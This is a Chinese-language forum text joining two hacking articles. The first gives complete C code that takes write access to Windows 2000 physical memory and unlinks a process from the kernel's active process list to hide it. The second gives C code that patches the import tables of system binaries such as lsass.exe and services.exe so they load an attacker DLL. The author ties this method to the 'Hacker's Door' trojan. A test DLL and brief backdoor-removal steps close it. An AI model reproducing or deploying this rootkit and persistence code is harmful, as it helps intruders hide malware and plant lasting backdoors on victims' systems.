十分抱歉,匆匆写了几句代码有点bug,即“ZwOpenSection(&g_hMPM,SECTION_MAP_WRITE|SECTION_MAP_WRITE,&attributes)”使得第一次运行返回失败,请删除原文.
上次在CVC提到了这东西,因为很简单觉得没必要多说什么,但有人要求写全,所以补充几句:
很多帖子对此论题作了分析,比如APIHOOK、系统服务HOOK等等,至于远线程注入没有自己的进程,本不算“隐藏”。
这里写一个2000下的完全隐藏方法,很简单,也没什么新意。
在讲解之前,首先提一提一些结构,进程执行体块中有数个进程相关链,其中之一是活动进程链。此链的重要
作用之一就是在查询系统信息时供遍历当前活动进程,很有意思的是M$可能因效率因素使它被排除出进程核心块,
意味进线程切换等操作时并不利用它,进一步说改写它也不该有不可忽视的问题(此即本方案的基础)。
怎么做很明显了,在活动进程双向链中删除想要得隐藏的进程既可,核心调试器(如softice/proc)亦查不出来。
2000下的隐藏当前进程的代码如下:
#include<windows.h>
#include<Accctrl.h>
#include<Aclapi.h>
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)
typedef LONG NTSTATUS;
typedef struct _IO_STATUS_BLOCK
{
NTSTATUS Status;
ULONG Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
#define OBJ_INHERIT 0x00000002L
#define OBJ_PERMANENT 0x00000010L
#define OBJ_EXCLUSIVE 0x00000020L
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define OBJ_OPENIF 0x00000080L
#define OBJ_OPENLINK 0x00000100L
#define OBJ_KERNEL_HANDLE 0x00000200L
#define OBJ_VALID_ATTRIBUTES 0x000003F2L
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
typedef VOID (CALLBACK* RTLINITUNICODESTRING)(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);
RTLINITUNICODESTRING RtlInitUnicodeString;
ZWOPENSECTION ZwOpenSection;
HMODULE g_hNtDLL = NULL;
PVOID g_pMapPhysicalMemory = NULL;
HANDLE g_hMPM = NULL;
BOOL InitNTDLL()
{
g_hNtDLL = LoadLibrary( "ntdll.dll" );
if ( !g_hNtDLL )
{
return FALSE;
}
RtlInitUnicodeString =
(RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, "RtlInitUnicodeString");
ZwOpenSection =
(ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");
return TRUE;
}
VOID CloseNTDLL()
{
if(g_hNtDLL != NULL)
{
FreeLibrary(g_hNtDLL);
}
}
VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
{
PACL pDacl=NULL;
PACL pNewDacl=NULL;
PSECURITY_DESCRIPTOR pSD=NULL;
DWORD dwRes;
EXPLICIT_ACCESS ea;
if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,
NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS)
{
goto CleanUp;
}
ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
ea.grfAccessPermissions = SECTION_MAP_WRITE;
ea.grfAccessMode = GRANT_ACCESS;
ea.grfInheritance= NO_INHERITANCE;
ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
ea.Trustee.ptstrName = "CURRENT_USER";
if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS)
{
goto CleanUp;
}
if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS)
{
goto CleanUp;
}
CleanUp:
if(pSD)
LocalFree(pSD);
if(pNewDacl)
LocalFree(pNewDacl);
}
HANDLE OpenPhysicalMemory()
{
NTSTATUS status;
UNICODE_STRING physmemString;
OBJECT_ATTRIBUTES attributes;
RtlInitUnicodeString( &physmemString, L"\\Device\\PhysicalMemory" );
attributes.Length = sizeof(OBJECT_ATTRIBUTES);
attributes.RootDirectory = NULL;
attributes.ObjectName = &physmemString;
attributes.Attributes = 0;
attributes.SecurityDescriptor = NULL;
attributes.SecurityQualityOfService = NULL;
status = ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);
if(status == STATUS_ACCESS_DENIED){
status = ZwOpenSection(&g_hMPM,READ_CONTROL|WRITE_DAC,&attributes);
SetPhyscialMemorySectionCanBeWrited(g_hMPM);
CloseHandle(g_hMPM);
status =ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);
}
if( !NT_SUCCESS( status ))
{
return NULL;
}
g_pMapPhysicalMemory = MapViewOfFile(
g_hMPM,
4,
0,
0x30000,
0x1000);
if( g_pMapPhysicalMemory == NULL )
{
return NULL;
}
return g_hMPM;
}
PVOID LinearToPhys(PULONG BaseAddress,PVOID addr)
{
ULONG VAddr=(ULONG)addr,PGDE,PTE,PAddr;
PGDE=BaseAddress[VAddr>>22];
if ((PGDE&1)!=0)
{
ULONG tmp=PGDE&0x00000080;
if (tmp!=0)
{
PAddr=(PGDE&0xFFC00000)+(VAddr&0x003FFFFF);
}
else
{
PGDE=(ULONG)MapViewOfFile(g_hMPM, 4, 0, PGDE & 0xfffff000, 0x1000);
PTE=((PULONG)PGDE)[(VAddr&0x003FF000)>>12];
if ((PTE&1)!=0)
{
PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF);
UnmapViewOfFile((PVOID)PGDE);
}
else return 0;
}
}
else return 0;
return (PVOID)PAddr;
}
ULONG GetData(PVOID addr)
{
ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);
PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, 4, 0, phys & 0xfffff000, 0x1000);
if (tmp==0)
return 0;
ULONG ret=tmp[(phys & 0xFFF)>>2];
UnmapViewOfFile(tmp);
return ret;
}
BOOL SetData(PVOID addr,ULONG data)
{
ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);
PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000);
if (tmp==0)
return FALSE;
tmp[(phys & 0xFFF)>>2]=data;
UnmapViewOfFile(tmp);
return TRUE;
}
BOOL HideProcessAtAll()
{
if (InitNTDLL())
{
if (OpenPhysicalMemory()==0)
{
return FALSE;
}
ULONG thread=GetData((PVOID)0xFFDFF124);
ULONG process=GetData(PVOID(thread+0x22c));
ULONG fw=GetData(PVOID(process+0xa0)),bw=GetData(PVOID(process+0xa4));
SetData(PVOID(fw+4),bw);
SetData(PVOID(bw),fw);
UnmapViewOfFile(g_pMapPhysicalMemory);
CloseHandle(g_hMPM);
CloseNTDLL();
}
return TRUE;
}
调用HideProcessAtAll即隐藏当前进程,如若一运行就隐藏,会修改到进程活动链表头,运行一段时间后可能出现些小问题,怎么解决,留作“课后习题”了^_^
注意默认物理地址0x30000为一页目录,在大多数情况时这样,但是是有例外的!怎么解决亦留作“...”吧,不多废话了。
稍微改一下偏移可移植于NT/XP/2003。
关于修改EXE文件的导入表,实际上是一个很古老的话题了(如果您是此中高手,请不要在这篇文章浪费时间了,如果您发现了其中的问题,还请多多指教).一些PE相关的软件,也都实现了这样的功能,例如Stud_PE.
Stud_PE通过添加一个新节并将导入表连同添加的内容一并复制到新节的方法来实现对DLL的导入.
使用这样的方法只要是PE格式的EXE文件,都可以实现导入DLL的功能,但此方法,实现了通用性,却增加了文件的大小.
对于存放在磁盘上PE文件,其中存在着大量的空隙,我们知道PE中的数据是按照一定的文件对齐来组织.IMAGE_OPTIONAL_HEADER结构中的FileAlignment成员保存着文件对齐的大小,这个成员是在链接的时候由链接器指定,如果使用VC来编写程序,可以使用link中的/filealign来调整文件对齐的大小.
这里,就是利用这些空隙来使EXE在启动时载入DLL(类似于一些病毒的技术),同时并不改变文件的大小.如何实现?还是要修改导入表.然而这种方法的缺点也是很明显的,并不是每个EXE都有足够的空间让我们来插入数据,按照我的测试,在Windows 2003 Enterprise sp1中,lsass.exe以及services.exe都是有足够的空间进行插入,而在Windows 2000 Advance Server sp4中,lsass.exe无法插入,services.exe可以插入.这些EXE文件的FileAlignment为0x200H.为什么选择这些exe文件?说到这里我的意图已经很明显了,黑客之门便是利用这种方法实现自启动的木马.
上面说了堆废话,现在直接贴上代码,具体实现请见程序的注释.这里假定您对PE格式有一定的了解.
//
// Copy from Matt Pietrek
// Given an RVA, look up the section header that encloses it and return a
// pointer to its IMAGE_SECTION_HEADER
//
PIMAGE_SECTION_HEADER
GetEnclosingSectionHeader(
DWORD rva,
PIMAGE_NT_HEADERS pNTHeader
)
{
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION32(pNTHeader);
unsigned i;
for ( i=0; i < pNTHeader->FileHeader.NumberOfSections; i++, section++ )
{
// Is the RVA within this section?
if ( (rva >= section->VirtualAddress) &&
(rva < (section->VirtualAddress + section->Misc.VirtualSize)))
return section;
}
return 0;
}
int
AddImportDll(
HANDLE hFile,
DWORD dwBase,
PIMAGE_NT_HEADERS pNTHeader
)
{
//
// 通过OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress
// 获得导入表的RVA, 利用此RVA找到ImportTable所在的Section,之后计算Offset,公式:
// Offset = (INT)(pSection->VirtualAddress - pSection->PointerToRawData)
// 之后利用Offset来定位文件中ImportTable的位置.
//
PIMAGE_IMPORT_DESCRIPTOR pImportDesc = 0;
PIMAGE_SECTION_HEADER pSection = 0;
PIMAGE_THUNK_DATA pThunk, pThunkIAT = 0;
int Offset = -1;
pSection = GetEnclosingSectionHeader(
pNTHeader->OptionalHeader.DataDirectory
[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress,
pNTHeader);
if(!pSection)
{
fprintf(stderr, "No Import Table..\n");
return -1;
}
Offset = (int) (pSection->VirtualAddress - pSection->PointerToRawData);
//
// 计算ImportTable在文件中的位置
//
pImportDesc =
(PIMAGE_IMPORT_DESCRIPTOR)(pNTHeader->OptionalHeader.DataDirectory
[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress - Offset + dwBase);
//
// 取出导入的DLL的个数
//
int nImportDllCount = 0;
while(1)
{
if ((pImportDesc->TimeDateStamp==0 ) && (pImportDesc->Name==0))
break;
pThunk = (PIMAGE_THUNK_DATA)(pImportDesc->Characteristics);
pThunkIAT = (PIMAGE_THUNK_DATA)(pImportDesc->FirstThunk);
if(pThunk == 0 && pThunkIAT == 0)
return -1;
nImportDllCount++;
pImportDesc++;
}
//
// 恢复pImportDesc的值,方便下面的复制当前导入表的操作.
//
pImportDesc -= nImportDllCount;
//
// 取得ImportTable所在Section的RawData在文件中的末尾地址,计算公式:
// dwOrigEndOfRawDataAddr = pSection->PointerToRawData + pSection->Misc.VirtualSize
//
DWORD dwEndOfRawDataAddr = pSection->PointerToRawData + pSection->Misc.VirtualSize;
PIMAGE_IMPORT_DESCRIPTOR pImportDescVector =
(PIMAGE_IMPORT_DESCRIPTOR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 20 * (nImportDllCount+1));
if(pImportDescVector == NULL)
{
fprintf(stderr, "HeapAlloc() failed. --err: %d\n", GetLastError());
return -1;
}
CopyMemory(pImportDescVector+1, pImportDesc, 20*nImportDllCount);
//
// 构造添加数据的结构,方法笨拙了点.
//
struct _Add_Data
{
char szDllName[256]; // 导入DLL的名字
int nDllNameLen; // 实际填充的名字的长度
WORD Hint; // 导入函数的Hint
char szFuncName[256]; // 导入函数的名字
int nFuncNameLen; // 导入函数名字的实际长度
int nTotal; // 填充的总长度
} Add_Data;
const char szDll[256] = "test.dll";
const char szFunc[256] = "Startup";
strcpy(Add_Data.szDllName, szDll);
strcpy(Add_Data.szFuncName, szFunc);
//
// +1表示'\0'字符
//
Add_Data.nDllNameLen = strlen(Add_Data.szDllName) + 1;
Add_Data.nFuncNameLen = strlen(Add_Data.szFuncName) + 1;
Add_Data.Hint = 0;
//
// 计算总的填充字节数
//
Add_Data.nTotal = Add_Data.nDllNameLen + sizeof(WORD) + Add_Data.nFuncNameLen;
//
// 检查ImportTable所在的Section中的剩余空间是否能够容纳新的ImportTable.
// 未对齐前RawData所占用的空间存放在pSection->VirtualSize中,用此值加上新的ImportTable长度与
// 原长度进行比较.
//
// nTotalLen 为新添加内容的总长度
// Add_Data.nTotal 为添加的DLL名称,Hint与导入函数的名字的总长度.
// 8 为IMAGE_IMPORT_BY_NAME结构以及保留空的长度.
// 20*(nImportDllCount+1) 为新的ImportTable的长度.
//
int nTotalLen = Add_Data.nTotal + 8 + 20*(nImportDllCount+1);
printf("TotalLen: %d byte(s)\n", nTotalLen);
if(pSection->Misc.VirtualSize + nTotalLen > pSection->SizeOfRawData)
{
fprintf(stderr, "No enough space!\n");
return -1;
}
IMAGE_IMPORT_DESCRIPTOR Add_ImportDesc;
//
// ThunkData结构的地址
//
Add_ImportDesc.Characteristics = dwEndOfRawDataAddr + Add_Data.nTotal + Offset;
Add_ImportDesc.TimeDateStamp = -1;
Add_ImportDesc.ForwarderChain = -1;
//
// DLL名字的RVA
//
Add_ImportDesc.Name = dwEndOfRawDataAddr + Offset;
Add_ImportDesc.FirstThunk = Add_ImportDesc.Characteristics;
CopyMemory(pImportDescVector, &Add_ImportDesc, 20);
//
// 对文件进行修改
//
DWORD dwBytesWritten = 0;
DWORD dwBuffer = dwEndOfRawDataAddr + Offset + Add_Data.nTotal + 8;
long lDistanceToMove = (long)&(pNTHeader->OptionalHeader.DataDirectory
[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress) - dwBase;
int nRet =0;
//
// 修改IMAGE_DIRECTOR_ENTRY_IMPORT中VirtualAddress的地址,
// 使其指向新的导入表的位置
//
SetFilePointer(hFile, lDistanceToMove, NULL, FILE_BEGIN);
printf("OrigEntryImport: %x\n", pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
nRet = WriteFile(hFile, (PVOID)&dwBuffer, 4, &dwBytesWritten, NULL);
if(!nRet)
{
fprintf(stderr, "WriteFile(ENTRY_IMPORT) failed. --err: %d\n", GetLastError());
return -1;
}
printf("NewEntryImport: %x\n", pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
//
// 修改导入表长度,这个部分具体要修改为多少我也没弄明白,不过按照测试,改与不改都可以工作
//
dwBuffer = pNTHeader->OptionalHeader.DataDirectory
[IMAGE_DIRECTORY_ENTRY_IMPORT].Size + 40;
nRet = WriteFile(hFile, (PVOID)&dwBuffer, 4, &dwBytesWritten, NULL);
if(!nRet)
{
fprintf(stderr, "WriteFile(Entry_import.size) failed. --err: %d\n", GetLastError());
return -1;
}
//
// 修改ImportTable所在节的长度
//
lDistanceToMove = (long)&(pSection->Misc.VirtualSize) - dwBase;
SetFilePointer(hFile, lDistanceToMove, NULL, FILE_BEGIN);
dwBuffer = pSection->Misc.VirtualSize + nTotalLen;
nRet = WriteFile(hFile, (PVOID)&dwBuffer, 4, &dwBytesWritten, NULL);
if(!nRet)
{
fprintf(stderr, "WriteFile(Misc.VirtualSize) failed. --err: %d\n", GetLastError());
return -1;
}
//
// 从节的末尾添加新的DLL内容
// 偷点懒,返回值就不检查了..
//
lDistanceToMove = dwEndOfRawDataAddr;
SetFilePointer(hFile, lDistanceToMove, NULL, FILE_BEGIN);
nRet = WriteFile(hFile, Add_Data.szDllName, Add_Data.nDllNameLen, &dwBytesWritten, NULL);
nRet = WriteFile(hFile, (LPVOID)&(Add_Data.Hint), sizeof(WORD), &dwBytesWritten, NULL);
nRet = WriteFile(hFile, Add_Data.szFuncName, Add_Data.nFuncNameLen, &dwBytesWritten, NULL);
dwBuffer = dwEndOfRawDataAddr + Add_Data.nDllNameLen + Offset;
nRet = WriteFile(hFile, (LPVOID)&dwBuffer, 4, &dwBytesWritten, NULL);
dwBuffer = 0;
nRet = WriteFile(hFile, (LPVOID)&dwBuffer, 4, &dwBytesWritten, NULL);
nRet = WriteFile(hFile, (LPVOID)pImportDescVector, 20*(nImportDllCount+1), &dwBytesWritten, NULL);
HeapFree(GetProcessHeap(), 0, pImportDescVector);
return 0;
}
下面是测试用的DLL代码.
#include
#pragma comment(lib, "user32")
#define __DLL_EXPORT extern "C" __declspec(dllexport)
__DLL_EXPORT void Startup();
BOOL
WINAPI DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved
)
{
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, "Hook Ok!", "info", MB_OK);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
__DLL_EXPORT void
Startup()
{
MessageBox(NULL, "Startup()", "info", MB_OK);
}
这段代码还有些问题,一些EXE文件并不能保证在修改后正确的运行,如何解决?如果您对此感兴趣,请动手来寻找答案吧.
说点题外话,如果您的系统不幸中了黑客之门,并且您的手头没有windows安装光盘或者DLLCACHE中也没有备份的话.首先要找到被修改的exe文件,之后建立一个备份用Stud_PE打开这个备份,在"头部"标签中"更多"下拉菜单中选IMAGE_DIR_ENTRY_DEBUG,这时,下拉菜单下面的两个对话框中会有两个值,这两个值就是黑可之门修改之前原始的导入表的位置.用这两个值替换"导入表"后面的内容,之后选"保存到文件",退出Stud_PE用inuse替换,重启之后删除后门dll便可以了.
使用工具:
hkdoordll.dll(1.1版本)
Stud_PE 2.0.0.1
dumpbin.exe
参考资料:
《Windows 95 System programming SECRETS (中译本)》
By CDrea
http://www.safechina.netCDrea@safechina.net